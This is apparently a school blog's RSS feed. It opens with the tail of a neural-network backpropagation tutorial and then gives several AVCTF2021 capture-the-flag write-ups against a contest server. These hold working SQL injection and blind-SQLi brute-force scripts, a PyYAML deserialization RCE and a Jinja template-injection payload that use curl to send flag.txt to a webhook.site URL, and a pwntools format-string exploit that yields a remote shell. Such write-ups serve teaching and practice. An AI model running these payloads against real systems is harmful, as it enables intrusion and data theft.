\begin{bmatrix}
\frac{\partial {\mathbf{a}}<em>{1}}{\partial{\mathbf{z}}</em>{1}} &amp; \frac{\partial {\mathbf{a}}<em>{1}}{\partial{\mathbf{z}}</em>{2}}&amp; \frac{\partial {\mathbf{a}}<em>{1}}{\partial{\mathbf{z}}</em>{3}}\
\frac{\partial {\mathbf{a}}<em>{2}}{\partial{\mathbf{z}}</em>{1}} &amp; \frac{\partial {\mathbf{a}}<em>{2}}{\partial{\mathbf{z}}</em>{2}} &amp; \frac{\partial {\mathbf{a}}<em>{2}}{\partial{\mathbf{z}}</em>{3}}\
\frac{\partial {\mathbf{a}}<em>{3}}{\partial{\mathbf{z}}</em>{1}} &amp; \frac{\partial {\mathbf{a}}<em>{3}}{\partial{\mathbf{z}}</em>{2}} &amp; \frac{\partial {\mathbf{a}}<em>{3}}{\partial{\mathbf{z}}</em>{3}}
\end{bmatrix}\
\frac{\partial {\mathbf{a}}<em>{1}}{\partial{\mathbf{z}}</em>{1}}=\sigma^{&#39;}(\mathbf{z}<em>{1})\quad
\frac{\partial {\mathbf{a}}</em>{1}}{\partial{\mathbf{z}}<em>{2}}&amp;=0\quad
\frac{\partial {\mathbf{a}}</em>{1}}{\partial{\mathbf{z}}<em>{3}}=0\
\frac{\partial {\mathbf{a}}</em>{2}}{\partial{\mathbf{z}}<em>{1}}=0\quad
\frac{\partial {\mathbf{a}}</em>{2}}{\partial{\mathbf{z}}<em>{2}}&amp;=\sigma^{&#39;}(\mathbf{z}</em>{2})\quad
\frac{\partial {\mathbf{a}}<em>{2}}{\partial{\mathbf{z}}</em>{3}}=0\
\frac{\partial {\mathbf{a}}<em>{3}}{\partial{\mathbf{z}}</em>{1}}=0\quad
\frac{\partial {\mathbf{a}}<em>{3}}{\partial{\mathbf{z}}</em>{2}}&amp;=0\quad
\frac{\partial {\mathbf{a}}<em>{3}}{\partial{\mathbf{z}}</em>{3}}=\sigma^{&#39;}(\mathbf{z}<em>{3})\
\frac{\partial \mathbf{a}}{\partial \mathbf{z}} &amp;=
\begin{bmatrix}
\sigma^{&#39;}(\mathbf{z}</em>{1}) &amp; 0 &amp; 0\
0 &amp; \sigma^{&#39;}(\mathbf{z}<em>{2}) &amp; 0\
0 &amp; 0 &amp; \sigma^{&#39;}(\mathbf{z}</em>{3})\
\end{bmatrix}
=diag(\sigma^{&#39;}(\mathbf{z}))
\end{aligned}
$$</p>
<p>As you see, we can reduce this derivative to this specific value. I have used the $diag$ operator which converts a vector to a diagonal matrix. Finally, after all this derivation (mathematically and figuratively) we can use chain rule to join everything together:</p>
<p>$$
\begin{aligned}
\frac{\partial c}{\partial \mathbf{b}}=\frac{\partial c}{\partial \mathbf{a}}\frac{\partial \mathbf{a}}{\partial \mathbf{z}}\frac{\partial \mathbf{z}}{\partial \mathbf{b}}
&amp;=
\frac{2}{n}{(\mathbf{a}-\mathbf{y})}^{T}diag(\sigma^{&#39;}(\mathbf{z}))\
\frac{\partial c}{\partial \mathbf{x}}=\frac{\partial c}{\partial \mathbf{a}}\frac{\partial \mathbf{a}}{\partial \mathbf{z}}\frac{\partial \mathbf{z}}{\partial \mathbf{x}}
&amp;=
\frac{2}{n}{(\mathbf{a}-\mathbf{y})}^{T}diag(\sigma^{&#39;}(\mathbf{z}))W\
\frac{\partial c}{\partial W}=\frac{\partial c}{\partial \mathbf{a}}\frac{\partial \mathbf{a}}{\partial \mathbf{z}}\frac{\partial \mathbf{z}}{\partial W}
&amp;=
\frac{2}{n}\mathbf{x}{(\mathbf{a}-\mathbf{y})}^{T}diag(\sigma^{&#39;}(\mathbf{z}))
\end{aligned}
$$</p>
<p>Now that we got these simple definitions for the single-layer case, we can expand it to the multi-layer case.</p>
<p>$$
\begin{aligned}
\mathbf{a}<em>{0}&amp;=\mathbf{x}\
\mathbf{z}</em>{i}&amp;={W}<em>{i-1}{\mathbf{a}}</em>{i-1} + \mathbf{b}<em>{i-1}\
\mathbf{a}</em>{i}&amp;=\sigma(\mathbf{z}<em>{i})\
i &amp;= 1,2,3,...,L\
c&amp;=\frac{1}{n}|{\mathbf{a}-\mathbf {y}}|</em>{2}^{2}
\end{aligned}
$$</p>
<p>We can do the calculus for the $i$-th layer now, specifically for bias and weight using the chain rule.</p>
<p>$$
\begin{aligned}
\frac{\partial c}{\partial \mathbf{b}<em>{i-1}}=\frac{\partial c}{\partial \mathbf{a}</em>{L}}\frac{\partial \mathbf{a}<em>L}{\partial \mathbf{z}</em>{L}}\frac{\partial \mathbf{z}<em>{L}}{\partial \mathbf{a}</em>{L-1}}\cdots\frac{\partial \mathbf{a}<em>{i}}{\partial \mathbf{z}</em>{i}}\frac{\partial \mathbf{z}<em>{i}}{\partial \mathbf{b}</em>{i-1}}&amp;=
\frac{2}{n}{(\mathbf{a}<em>L-\mathbf{y})}^{T}diag(\sigma^{&#39;}(\mathbf{z}<em>L))W</em>{L-1}\cdots diag(\sigma^{&#39;}(\mathbf{z}<em>i))\
\frac{\partial c}{\partial W</em>{i-1}}=\frac{\partial c}{\partial \mathbf{a}</em>{L}}\frac{\partial \mathbf{a}<em>L}{\partial \mathbf{z}</em>{L}}\frac{\partial \mathbf{z}<em>{L}}{\partial \mathbf{a}</em>{L-1}}\cdots\frac{\partial \mathbf{a}<em>{i}}{\partial \mathbf{z}</em>{i}}\frac{\partial \mathbf{z}<em>{i}}{\partial W</em>{i-1}}&amp;=
\frac{2}{n}\mathbf{a}_{i-1}{(\mathbf{a}_L-\mathbf{y})}^{T}diag(\sigma^{&#39;}(\mathbf{z}<em>L))W</em>{L-1}\cdots diag(\sigma^{&#39;}(\mathbf{z}_i))\
i &amp;= 1,2,3,...,L
\end{aligned}
$$</p>
<p>Now it is time to actually implement this network (finally).</p>
<h2>Neural Network Implementation (XNOR Gate)</h2>
<p>I couldn&#39;t find a good, but rather small dataset because most people really do like large datasets and are infuriated when they are not provided that like <del>entitled brats</del> normal people. So, instead, I decided that we will train our neural network to mimic the XNOR gate.</p>
<p>Oh no! Training? Testing? What is that? In all fairness, I am simply trying to show you that the mathematical functions that dictate neural networks as we have found above, fits perfectly with this task of a neural network, and that these neural networks that everyone hears about can really just mimic any function.</p>
<p><img src="./XNOR_input_output.png" alt="XNOR input output"></p>
<p>For those who do not know, the XNOR gates inputs and outputs are written above. It is pretty suitable for this example, because the inputs and outputs are all 0 and 1, hence it is fast to train and there is no bias in the data.</p>
<p>From here, let&#39;s try coding out the (x,y) pairs in NumPy:</p>
<pre><code class="language-python">data = [[np.array([[0],[0]], dtype=np.float64),np.array([[1]], dtype=np.float64)],
        [np.array([[0],[1]], dtype=np.float64),np.array([[0]], dtype=np.float64)],
        [np.array([[1],[0]], dtype=np.float64),np.array([[0]], dtype=np.float64)],
        [np.array([[1],[1]], dtype=np.float64),np.array([[1]], dtype=np.float64)]]
</code></pre>
<p>We then define a network structure. It doesn&#39;t have to be too complex because it is a pretty simple function. I decided on a $2 \rightarrow 3 \rightarrow 1$ multi-layer perceptron (MLP) structure, with the sigmoid activation function.</p>
<p><img src="./multiple_perceptron_network.png" alt="multiple perceptron network"></p>
<p>Next, let&#39;s try coding out our mathematical work based off the following class:</p>
<pre><code class="language-python">class NNdata:
    def __init__(self):
        self.a_0 = None
        self.W_0 = np.random.rand(3,2)
        self.b_0 = np.random.rand(3,1)
        self.z_1 = None
        self.a_1 = None
        self.W_1 = np.random.rand(1,3)
        self.b_1 = np.random.rand(1,1)
        self.z_2 = None
        self.a_2 = None
        self.db_1 = None
        self.dw_1 = None
        self.db_0 = None
        self.dw_0 = None

    def sigmoid(self, x):
        return 1 / (1 + np.exp(-x))

    def sigmoid_derivative(self, x):
        return self.sigmoid(x) * (1 - self.sigmoid(x))

    def feed_forward(self, x):
        self.a_0 = x

        self.z_1 = np.matmul(self.W_0, self.a_0)+self.b_0
        self.a_1 = self.sigmoid(self.z_1)

        self.z_2 = np.matmul(self.W_1, self.a_1)+self.b_1
        self.a_2 = self.sigmoid(self.z_2)
        return self.a_2

    def loss(self, y):
        return np.linalg.norm(self.a_2-y)**2

    def back_prop(self, y):
        dcdz_2 = 2 * np.matmul((self.a_2-y).T,np.diag(self.sigmoid_derivative(self.z_2).reshape(1)))
        dcdb_1 = dcdz_2
        dcdw_1 = np.matmul(self.a_1, dcdz_2)

        dcda_1 = np.matmul(dcdz_2, self.W_1)
        dcdz_1 = np.matmul(dcda_1, np.diag(self.sigmoid_derivative(self.z_1).reshape(3)))
        dcdb_0 = dcdz_1
        dcdw_0 = np.matmul(self.a_0, dcdz_1)

        self.db_1 = dcdb_1.T
        self.dw_1 = dcdw_1.T
        self.db_0 = dcdb_0.T
        self.dw_0 = dcdw_0.T
</code></pre>
<p>Next I program gradient descent. There are 3 kinds of gradient descent when there are multiple datapoints, Stochastic, Batch and Mini-Batch. In Stochastic Gradient Descent (SGD), the weights are updated after a single sample is run. This will obviously cause your step towards the ideal value be very chaotic. In Batch Gradient Descent, the weights are updated after every sample is run, and the net step is the sum/average of all the $\nabla F(x)$, which is less chaotic, but steps are less frequent.</p>
<p>Of course, in real life, we can never know which algorithm is better without making an assumption about the data. (No Free Lunch Theorem) A good compromise is Mini-Batch Gradient Descent, which is like Batch Gradient Descent but use smaller chunks of all the datapoints every step. In this case, I use Batch Gradient Descent.</p>
<pre><code class="language-python">nndata = NNdata()
learning_rate = 0.1
for i in range(10000):
    db_1_batch = []
    dw_1_batch = []
    db_0_batch = []
    dw_0_batch = []
    c = []
    for j in range(4):
        nndata.feed_forward(data[j][0])
        c.append(nndata.loss(data[j][1]))
        nndata.back_prop(data[j][1])
        db_1_batch.append(nndata.db_1)
        dw_1_batch.append(nndata.dw_1)
        db_0_batch.append(nndata.db_0)
        dw_0_batch.append(nndata.dw_0)
    if((i+1) % 1000 == 0):
        print(&quot;loss (%d/10000): %.3f&quot; % (i+1, sum(c)/4))
    nndata.b_1 -= learning_rate * sum(db_1_batch)
    nndata.W_1 -= learning_rate * sum(dw_1_batch)
    nndata.b_0 -= learning_rate * sum(db_0_batch)
    nndata.W_0 -= learning_rate * sum(dw_0_batch)
</code></pre>
<p>Output resource:</p>
<pre><code>loss (1000/10000): 0.245
loss (2000/10000): 0.186
loss (3000/10000): 0.029
loss (4000/10000): 0.007
loss (5000/10000): 0.003
loss (6000/10000): 0.002
loss (7000/10000): 0.002
loss (8000/10000): 0.001
loss (9000/10000): 0.001
loss (10000/10000): 0.001
</code></pre>
<p>Voila! We have officially programmed Neural Networks from scratch. Pat yourself on the back for reading through this. And of course, if you bothered to code this out, try porting it over to different languages like Java, JS or even C (yikes why would <a href="https://github.com/terminalai/neuralC">anyone</a> subjects themselves to that?).</p>
<p>In the next part, it is time for the actual hard part. Good luck!</p>
<h2>References</h2>
<p>A lot of people think I just collated a bunch of sources and rephrased, and honestly I walked into writing this thinking I would be doing just that. The problem is that many sources who have attempted to do this, only cover the single to multi-perceptron layer case and not the multi to multi-perceptron case. Which is pretty sad. The true math is hidden behind mountains of research papers that loosely connect to give the results of this blogpot which I am too incomponent to connect by myself. So, I just did the math myself. (The math may not be presented in this way but it works so it should be correct) Yes, it was a bit crazy, and it destroyed me to my core. This was a great character building moment for me. So these are the actual sources:</p>
<ul>
<li><a href="https://numpy.org/">https://numpy.org/</a></li>
<li><a href="https://en.wikipedia.org/wiki/Gradient_descent">https://en.wikipedia.org/wiki/Gradient_descent</a></li>
<li><a href="https://en.wikipedia.org/wiki/Matrix_calculus">https://en.wikipedia.org/wiki/Matrix_calculus</a></li>
<li><a href="https://en.wikipedia.org/wiki/Tensor_calculus">https://en.wikipedia.org/wiki/Tensor_calculus</a></li>
<li><a href="https://en.wikipedia.org/wiki/Ricci_calculus">https://en.wikipedia.org/wiki/Ricci_calculus</a></li>
<li><a href="https://en.wikipedia.org/wiki/XNOR_gate">https://en.wikipedia.org/wiki/XNOR_gate</a></li>
<li>CS5131 Notes (Special thanks to Mr Chua and Mr Ng)</li>
</ul>
<hr>

<p>(Excruciatingly edited by Prannaya)</p>
]]></description><link>https://nush.app/blog/2022/05/26/cnn-from-scratch-1</link><guid isPermaLink="true">https://nush.app/blog/2022/05/26/cnn-from-scratch-1</guid><pubDate>Thu, 26 May 2022 00:00:00 GMT</pubDate></item><item><title><![CDATA[[AVCTF2021] AppVenture Login Part 0]]></title><description><![CDATA[<blockquote>
<p>AppVenture Login page must be the most secure right? URL: <a href="http://35.240.143.82:4208/">http://35.240.143.82:4208/</a></p>
</blockquote>
<p>Hint:</p>
<blockquote>
<p>What&#39;s the first thing you do when pentesting a website?</p>
</blockquote>
<p>One of the common files that websites contain is the <code>robots.txt</code>, which decides what scrapers like google-bot can see and should see.</p>
<p>In this case the robots contains a path to the source code of the website, and the flag is inside the source code.</p>
<h3><a href="http://35.240.143.82:4208/robots.txt">http://35.240.143.82:4208/robots.txt</a></h3>
<pre><code>User-agent: *
Disallow: /c7179ef35b2d458d6f2f68044816e145/main.py
</code></pre>
<h3><a href="http://35.240.143.82:4208/c7179ef35b2d458d6f2f68044816e145/main.py">http://35.240.143.82:4208/c7179ef35b2d458d6f2f68044816e145/main.py</a></h3>
<pre><code>...
flag0 = &quot;flag{you_can_use_automated_tools_like_nikto_to_do_this}&quot;
...
</code></pre>
<p>Flag obtained</p>
]]></description><link>https://nush.app/blog/2021/12/21/avctf2021-av-login-p0</link><guid isPermaLink="true">https://nush.app/blog/2021/12/21/avctf2021-av-login-p0</guid><pubDate>Tue, 21 Dec 2021 00:00:00 GMT</pubDate></item><item><title><![CDATA[[AVCTF2021] AppVenture Login Part 1]]></title><description><![CDATA[<blockquote>
<p>Well, I haven&#39;t taken CS6131 yet but databases should be easy right??</p>
</blockquote>
<p>From the description we can see the keyword databases, based on prior knowledge of the module CS6131, we can be pretty sure this is related to SQL.</p>
<p>Since the source operates on a simple template string SQL command, we can apply simple SQL injection and skip the password check.</p>
<pre><code class="language-python">@app.route(&quot;/login&quot;, methods=[&quot;post&quot;])
def login():
    username = request.form.get(&#39;username&#39;, default=&#39;&#39;, type=str)
    password = request.form.get(&#39;password&#39;, default=&#39;&#39;, type=str)
    users = db.execute(f&quot;select id from users where name=&#39;{username}&#39; and password=&#39;{password}&#39;&quot;).fetchall()
    if users:
        return Response(flag1, mimetype=&#39;text/plain&#39;)
    return Response(&#39;Login failed&#39;, mimetype=&#39;text/plain&#39;)
</code></pre>
<p>In SQL, comments can be made with <code>--</code></p>
<p>To skip the password check, we can simply input <code>admin&#39; --</code> in username and leave password blank, which would result in the following command</p>
<pre><code class="language-sql">select id from users where name=&#39;admin&#39; --&#39; and password=&#39;&#39;
</code></pre>
<p>Everything behind <code>--</code> is ignored and we successfully log in as admin</p>
<h3><a href="http://35.240.143.82:4208/login">http://35.240.143.82:4208/login</a></h3>
<pre><code>flag{you_can_pass_cs6131_now}
</code></pre>
<p>Flag obtained</p>
]]></description><link>https://nush.app/blog/2021/12/21/avctf2021-av-login-p1</link><guid isPermaLink="true">https://nush.app/blog/2021/12/21/avctf2021-av-login-p1</guid><pubDate>Tue, 21 Dec 2021 00:00:00 GMT</pubDate></item><item><title><![CDATA[[AVCTF2021] AppVenture Login Part 2]]></title><description><![CDATA[<blockquote>
<p>Ok, you got the flag, but I bet you&#39;ll never get my password!</p>
</blockquote>
<p>Basing off the description, the flag is probably the password. Even though we logged in as admin in the last challenge, we do not know of the password.</p>
<p>To get the password, we can check the password 1 character at a time to reduce the number of tries. Trying the entire password string at a time require exponential amount of tries and will be unrealistic.</p>
<p>The flag format is <code>flag{...}</code> where characters consist of lower case letters, <code>{}</code> and <code>_</code>. We can quickly code up a little script to find the password. In this writeup we will be using <code>node.js</code> for the simplicity and non-pythonic syntax.</p>
<pre><code class="language-js">const fetch = require(&quot;node-fetch&quot;);
const FormData = require(&quot;form-data&quot;);

let chars = &quot;abcdefghijklmnopqrstuvwxyz_{}&quot;.split(&quot;&quot;);
let password = [];

async function verify(i, c) {
  const form = new FormData();
  form.append(
    &quot;username&quot;,
    `admin&#39; and SUBSTRING(password, ${i + 1}, 1)=&#39;${c}&#39; --`,
  );
  const res = await fetch(&quot;http://35.240.143.82:4208/login&quot;, {
    method: &quot;POST&quot;,
    body: form,
  });
  const text = await res.text();
  return text !== &quot;Login failed&quot;;
}

async function step(i) {
  for (let c of chars) {
    if (await verify(i, c)) return c;
  }
  return null;
}

async function brute_force() {
  let i = 0;
  while (true) {
    password[i] = await step(i);
    console.log(password.join(&quot;&quot;));
    if (!password[i]) break;
    i++;
  }
  console.log(password.join(&quot;&quot;));
}

brute_force();
</code></pre>
<p>As before we use <code>admin&#39;</code> to escape the admin field, and <code>--</code> to skip the password check.</p>
<p>However we add our own check in the middle, <code>SUBSTRING(password, i, 1)</code> works the same as normal substring would but sql is 1-indexed(kinda weird but yeh)</p>
<p>What would happen would be like this</p>
<ul>
<li><code>select id from users where name=&#39;admin&#39; and SUBSTRING(password, 1, 1)=&#39;a&#39; --</code> fail</li>
<li><code>select id from users where name=&#39;admin&#39; and SUBSTRING(password, 1, 1)=&#39;b&#39; --</code> fail</li>
<li>...</li>
<li><code>select id from users where name=&#39;admin&#39; and SUBSTRING(password, 1, 1)=&#39;f&#39; --</code> success</li>
<li><code>select id from users where name=&#39;admin&#39; and SUBSTRING(password, 2, 1)=&#39;a&#39; --</code> fail</li>
<li>...</li>
</ul>
<p><code>verify</code> will make a request to check if the password has character in variable <code>c</code> at position <code>i</code>.</p>
<p><code>step</code> will simply try all characters for a position until one hits.</p>
<p><code>brute_force()</code> will step through all positions until a correct character can&#39;t be found for the position, which would be most likely the end of the password</p>
<h3>Running the script</h3>
<pre><code>f
fl
fla
...
flag{oops_looks_like_youre_not_blind
flag{oops_looks_like_youre_not_blind}
flag{oops_looks_like_youre_not_blind}
flag{oops_looks_like_youre_not_blind}
</code></pre>
<p>Flag obtained</p>
]]></description><link>https://nush.app/blog/2021/12/21/avctf2021-av-login-p2</link><guid isPermaLink="true">https://nush.app/blog/2021/12/21/avctf2021-av-login-p2</guid><pubDate>Tue, 21 Dec 2021 00:00:00 GMT</pubDate></item><item><title><![CDATA[[AVCTF2021] Espace 0]]></title><description><![CDATA[<p>The hardest challenge of the web category, but was actually solved before Login Part 0 since my brain was dead</p>
<blockquote>
<p>You&#39;ve used espace2, but what about espace0?</p>
<p>Flag in <code>flag.txt</code></p>
<p>URL: <a href="http://35.240.143.82:4210/">http://35.240.143.82:4210/</a></p>
</blockquote>
<p>As before the source, <code>main.py</code> was given</p>
<pre><code class="language-python">from flask import Flask, request, render_template, Response
import yaml

app = Flask(__name__)
assert yaml.__version__ == &quot;5.3.1&quot;

@app.route(&quot;/&quot;)
def index():
    return render_template(&quot;./index.html&quot;)

@app.route(&quot;/&quot;, methods=[&quot;POST&quot;])
def welcome():
    student_data = request.form.get(&quot;student_data&quot;)
    if not student_data:
        return Response(&quot;Please specify some data in YAML format&quot;, mimetype=&#39;text/plain&#39;)
    student_data = yaml.load(student_data)
    required_fields = [&quot;id&quot;,&quot;name&quot;,&quot;class&quot;]
    if type(student_data) != dict or &quot;student&quot; not in student_data or any(x not in student_data[&quot;student&quot;] for x in required_fields):
        return Response(&quot;Malformed data. Please try again.&quot;, mimetype=&#39;text/plain&#39;)
    student = student_data[&quot;student&quot;]
    return f&quot;&lt;h1&gt;Welcome, {student[&#39;name&#39;]} ({student[&#39;id&#39;]})&lt;/h1&gt; &lt;br&gt;Your class is &lt;b&gt;{student[&#39;class&#39;]}&lt;/b&gt;&quot;
</code></pre>
<p>There are no obvious vulnerabilities to this file.</p>
<p>But the <code>assert yaml.__version__ == &quot;5.3.1&quot;</code> part is quite suspicious.</p>
<p>A quick google search with keywords <code>pyyaml 5.3.1 vulnerabilities</code> leads us to <code>https://security.snyk.io/vuln/SNYK-PYTHON-PYYAML-590151</code>, a 9.8 scored RCE.</p>
<p>Conveniently a <code>uiuctf</code> writeup was included that explained how the exploit worked. <a href="https://hackmd.io/@harrier/uiuctf20">https://hackmd.io/@harrier/uiuctf20</a></p>
<p>Apparently it was a zero day vulnerability used in a CTF, what a chad move. We can simply take their payload and use it here as google is allowed in CTFs.</p>
<p><code>!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ &#39;PAYLOAD_HERE&#39; ]]]</code></p>
<h3>Sending the payload</h3>
<p><code>!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ &#39;__import__(&quot;os&quot;).system(&quot;curl -X POST --data-binary @flag.txt https://webhook.site/40a3fae4-f378-4100-837c-8f94953fbbc9&quot;)&#39; ]]]</code></p>
<p><img src="./image-20211221164628024.png" alt="image-20211221164628024"></p>
<p>And after checking webhook.site for the received curl request</p>
<pre><code>flag{yet_another_mal-coded_library}
</code></pre>
<p>Flag obtained</p>
]]></description><link>https://nush.app/blog/2021/12/21/avctf2021-espace-0</link><guid isPermaLink="true">https://nush.app/blog/2021/12/21/avctf2021-espace-0</guid><pubDate>Tue, 21 Dec 2021 00:00:00 GMT</pubDate></item><item><title><![CDATA[[AVCTF2021] Printwriter 1]]></title><description><![CDATA[<blockquote>
<p>My wonderful app works both as an echo server and a file lister!</p>
<p>Bet you can&#39;t hack it! <code>nc 35.240.143.82 4203</code></p>
</blockquote>
<p>Only the compiled <code>chal</code> file was given, after decompiling it with Ghidra, I get</p>
<pre><code class="language-cpp">undefined8 main(void)
{
    int32_t iVar1;
    char *format;

    setup();
    while( true ) {
        fgets(&amp;format, 0x70, _stdin);
        iVar1 = strncmp(&amp;format, &quot;quit&quot;, 4);
        if (iVar1 == 0) break;
        printf(&amp;format);
    }
    system(&quot;/bin/ls&quot;);
    return 0;
}
</code></pre>
<p>As I can see, and <code>printf</code> has been used to print the output directly.</p>
<p>This challenge is in the format string attack category, which I can verify with a simple <code>%x</code></p>
<pre><code>$ nc 35.240.143.82 4203
%x
402004
%s
quit
</code></pre>
<h3>pwntools</h3>
<p>I can use pwntools to quickly create our format string payload</p>
<h4>offset</h4>
<p>I first have to find the offset which can be easily done with</p>
<pre><code class="language-python">from pwn import *

conn = remote(&quot;35.240.143.82&quot;, 4203)
context.clear(arch=&#39;amd64&#39;)


def send_payload(p):
    conn.wait(1)
    conn.sendline(p)
    return conn.recv()


print(&quot;offset =&quot;, FmtStr(execute_fmt=send_payload).offset)
</code></pre>
<pre><code>[x] Opening connection to 35.240.143.82 on port 4203
[x] Opening connection to 35.240.143.82 on port 4203: Trying 35.240.143.82
[+] Opening connection to 35.240.143.82 on port 4203: Done
[*] Found format string offset: 6
offset = 6
[*] Closed connection to 35.240.143.82 port 4203
</code></pre>
<h4>what attack to use</h4>
<p>In the decompiler, I noticed how <code>/bin/ls/</code> is located at <code>0x00404058</code></p>
<p><img src="./image-20211221173130465.png" alt="image-20211221173130465"></p>
<p>If I edit <code>/bin/ls/</code> into <code>/bin/sh</code>, as they have same amount of characters, I can gain remote shell access.</p>
<p>Hence I will be using <code>fmtstr_payload</code> from pwntools</p>
<h4>payload</h4>
<pre><code class="language-python">from pwn import *

conn = remote(&quot;35.240.143.82&quot;, 4203)

context.clear(arch=&#39;amd64&#39;)
payload = fmtstr_payload(0x6, {0x404058: b&#39;/bin/sh&#39;}, write_size=&#39;short&#39;)
conn.wait(1)
print(&quot;sending&quot; + str(payload))
conn.sendline(payload)
print(conn.recv())
conn.sendline(&quot;quit&quot;)
conn.interactive()
</code></pre>
<p>We will be writing the string <code>/bin/sh</code> to address <code>0x404058</code> with offset <code>6</code>.</p>
<p>After sending the payload, <code>/bin/ls</code> will be changed to <code>/bin/sh</code>. This means that after I exit the loop with <code>quit</code>, it should give us shell access.</p>
<p>I will then switch to interactive to more easily take advantage of the shell.</p>
<pre><code class="language-cpp">system(&quot;/bin/sh&quot;);
</code></pre>
<p>Indeed we gain remote shell access.</p>
<p>By running the command <code>ls</code>, I find <code>flag.txt</code>, and with <code>cat flag.txt</code></p>
<pre><code>cat flag.txt
flag{why_would_printf_be_able_to_write_memory????!!}
</code></pre>
<p>Flag obtained</p>
<blockquote>
<p>If you run the following you can find the message I left</p>
<pre><code>cd ~
cd w
cat README.txt
Hello, I was here ;) ZY
</code></pre>
</blockquote>
]]></description><link>https://nush.app/blog/2021/12/21/avctf2021-printwriter</link><guid isPermaLink="true">https://nush.app/blog/2021/12/21/avctf2021-printwriter</guid><pubDate>Tue, 21 Dec 2021 00:00:00 GMT</pubDate></item><item><title><![CDATA[[AVCTF2021] Super Secure Trustable Implementation]]></title><description><![CDATA[<blockquote>
<p>I&#39;ve added a bunch of filters, so my app must be really secure now.</p>
<p>Flag in <code>flag.txt</code></p>
<p>URL: <a href="http://35.240.143.82:4209/">http://35.240.143.82:4209/</a></p>
</blockquote>
<p>The source, <code>main.py</code> is included hence we should take a look.</p>
<pre><code class="language-python">import secrets
from flask import Flask, render_template_string, request

app = Flask(__name__)


@app.route(&quot;/&quot;)
def index():
    name = request.args.get(&quot;name&quot;, default=&quot;World&quot;)
    # Evil hacker cannot get past now!
    blocklist = [&quot;{{&quot;, &quot;}}&quot;, &quot;__&quot;, &quot;subprocess&quot;, &quot;flag&quot;, &quot;popen&quot;, &quot;system&quot;, &quot;os&quot;, &quot;import&quot;, &quot;read&quot;, &quot;flag.txt&quot;]
    for bad in blocklist:
        name = name.replace(bad, &quot;&quot;)
    return render_template_string(f&quot;&lt;h1&gt; Hello, {name}&quot;)
</code></pre>
<p>Since the server uses <code>render_template_string</code> it&#39;s vulnerable to <code>{{}}</code> template string attacks.</p>
<p>If we use <code>{{ &#39;Hello&#39;+&#39; &#39;+&#39;World&#39; }}</code> for name, it would give us <code>Hello World</code> as the string inside is ran as code.</p>
<h3>Blocklist Bypass</h3>
<p>However as we can see, there is an blocklist, and it includes <code>{{</code> and <code>}}</code>.</p>
<p>To bypass this filter we can simply insert blocklisted words inside of blocklisted words. For example</p>
<p><code>{flag{}flag}</code> will not trigger when checking for <code>{{</code> and <code>}}</code>, but will have <code>flag</code> removed when checking for flag, and would result in <code>{{}}</code> as the end output.</p>
<p>Making use of this, we can construct our payloads with the help of a little script.</p>
<blockquote>
<p>I had troubles with reading the file so I decided to just send the file content via curl</p>
<p>webhook.site is a easy to use site for sending data back</p>
</blockquote>
<pre><code class="language-python">bypass = [&quot;{{&quot;, &quot;}}&quot;, &quot;__&quot;, &quot;subprocess&quot;, &quot;flag&quot;, &quot;popen&quot;, &quot;system&quot;, &quot;os&quot;, &quot;import&quot;, &quot;read&quot;]
bypass.reverse()
payload = &#39;&#39;
for toby in bypass:
    payload = payload.replace(toby, toby[0] + &quot;read&quot; + toby[1:])
print(payload)
name = payload
blocklist = [&quot;{{&quot;, &quot;}}&quot;, &quot;__&quot;, &quot;subprocess&quot;, &quot;flag&quot;, &quot;popen&quot;, &quot;system&quot;, &quot;os&quot;, &quot;import&quot;, &quot;read&quot;, &quot;flag.txt&quot;]
for bad in blocklist:
    name = name.replace(bad, &quot;&quot;)
print(f&quot;&lt;h1&gt; Hello, {name}&quot;)
</code></pre>
<h3>Bypassing certain unknown filters</h3>
<p>If one simply use <code>__import__</code>, one will soon realise that it does not exist, this could have been done by deleting built-ins from the python run time.</p>
<p>We can restore the built-ins via <code>reload(__builtins__)</code>, however it is obviously, also deleted.</p>
<p>We need to find <code>__import__</code> somehow.</p>
<p>With some experimenting, we can find that</p>
<pre><code class="language-python">&gt;&gt;&gt; ().__class__.__bases__
(&lt;type &#39;object&#39;&gt;,)
</code></pre>
<p>The tuple inherits directly from <code>object</code>, hence we can find the list of types (extends object) by sending the payload</p>
<h5><code>{{().__class__.__bases__[0].__subclasses__()}}</code></h5>
<pre><code>Hello, [&lt;class &#39;type&#39;&gt;, &lt;class &#39;async_generator&#39;&gt;, &lt;class &#39;int&#39;&gt;, &lt;class &#39;bytearray_iterator&#39;&gt;, &lt;class &#39;bytearray&#39;&gt;, &lt;class &#39;bytes_iterator&#39;&gt;, &lt;class &#39;bytes&#39;&gt;... &lt;class &#39;flask.blueprints.BlueprintSetupState&#39;&gt;]
</code></pre>
<p>Much of the output is useless, <code>_frozen_importlib_external.FileLoader</code> looks a bit suspicious though. (it is at position 118)</p>
<h5><code>{{().__class__.__bases__[0].__subclasses__()[118]}}</code></h5>
<pre><code>Hello, &lt;class &#39;_frozen_importlib_external.FileLoader&#39;&gt;
</code></pre>
<p>Just verifying that the class is the <code>FileLoader</code>, now lets see what builtins this FileLoader has</p>
<h5><code>{{().__class__.__bases__[0].__subclasses__()[118].__init__.__globals__[&quot;__builtins__&quot;]}}</code></h5>
<pre><code>Hello, {&#39;__name__&#39;: &#39;builtins&#39; ... &#39;__import__&#39;: &lt;built-in function __import__&gt;,  ...help, or help(object) for help about object.}
</code></pre>
<p><strong>Hooray!</strong> We found <code>__import__</code>, now we just have to combine the payload into</p>
<pre><code class="language-python">{{(().__class__.__bases__[0].__subclasses__()[118].__init__.__globals__[&quot;__builtins__&quot;])[&quot;__im&quot;+&quot;port__&quot;](&quot;o&quot;+&quot;s&quot;).system(&quot;curl -X POST --data-binary @flflag.txtag.txt https://webhook.site/40a3fae4-f378-4100-837c-8f94953fbbc9&quot;)}}
</code></pre>
<p><code>flag.txt</code> is manually bypassed since it contains <code>flag</code></p>
<h3>Transforming the payload</h3>
<pre><code>{read{(()._read_class_read_._read_bases_read_[0]._read_subclasses_read_()[118]._read_init_read_._read_globals_read_[&quot;_read_builtins_read_&quot;])[&quot;_read_im&quot;+&quot;port_read_&quot;](&quot;o&quot;+&quot;s&quot;).sreadystem(&quot;curl -X POST --data-binary @flfreadlag.txtag.txt https://webhook.site/40a3fae4-f378-4100-837c-8f94953fbbc9&quot;)}read}

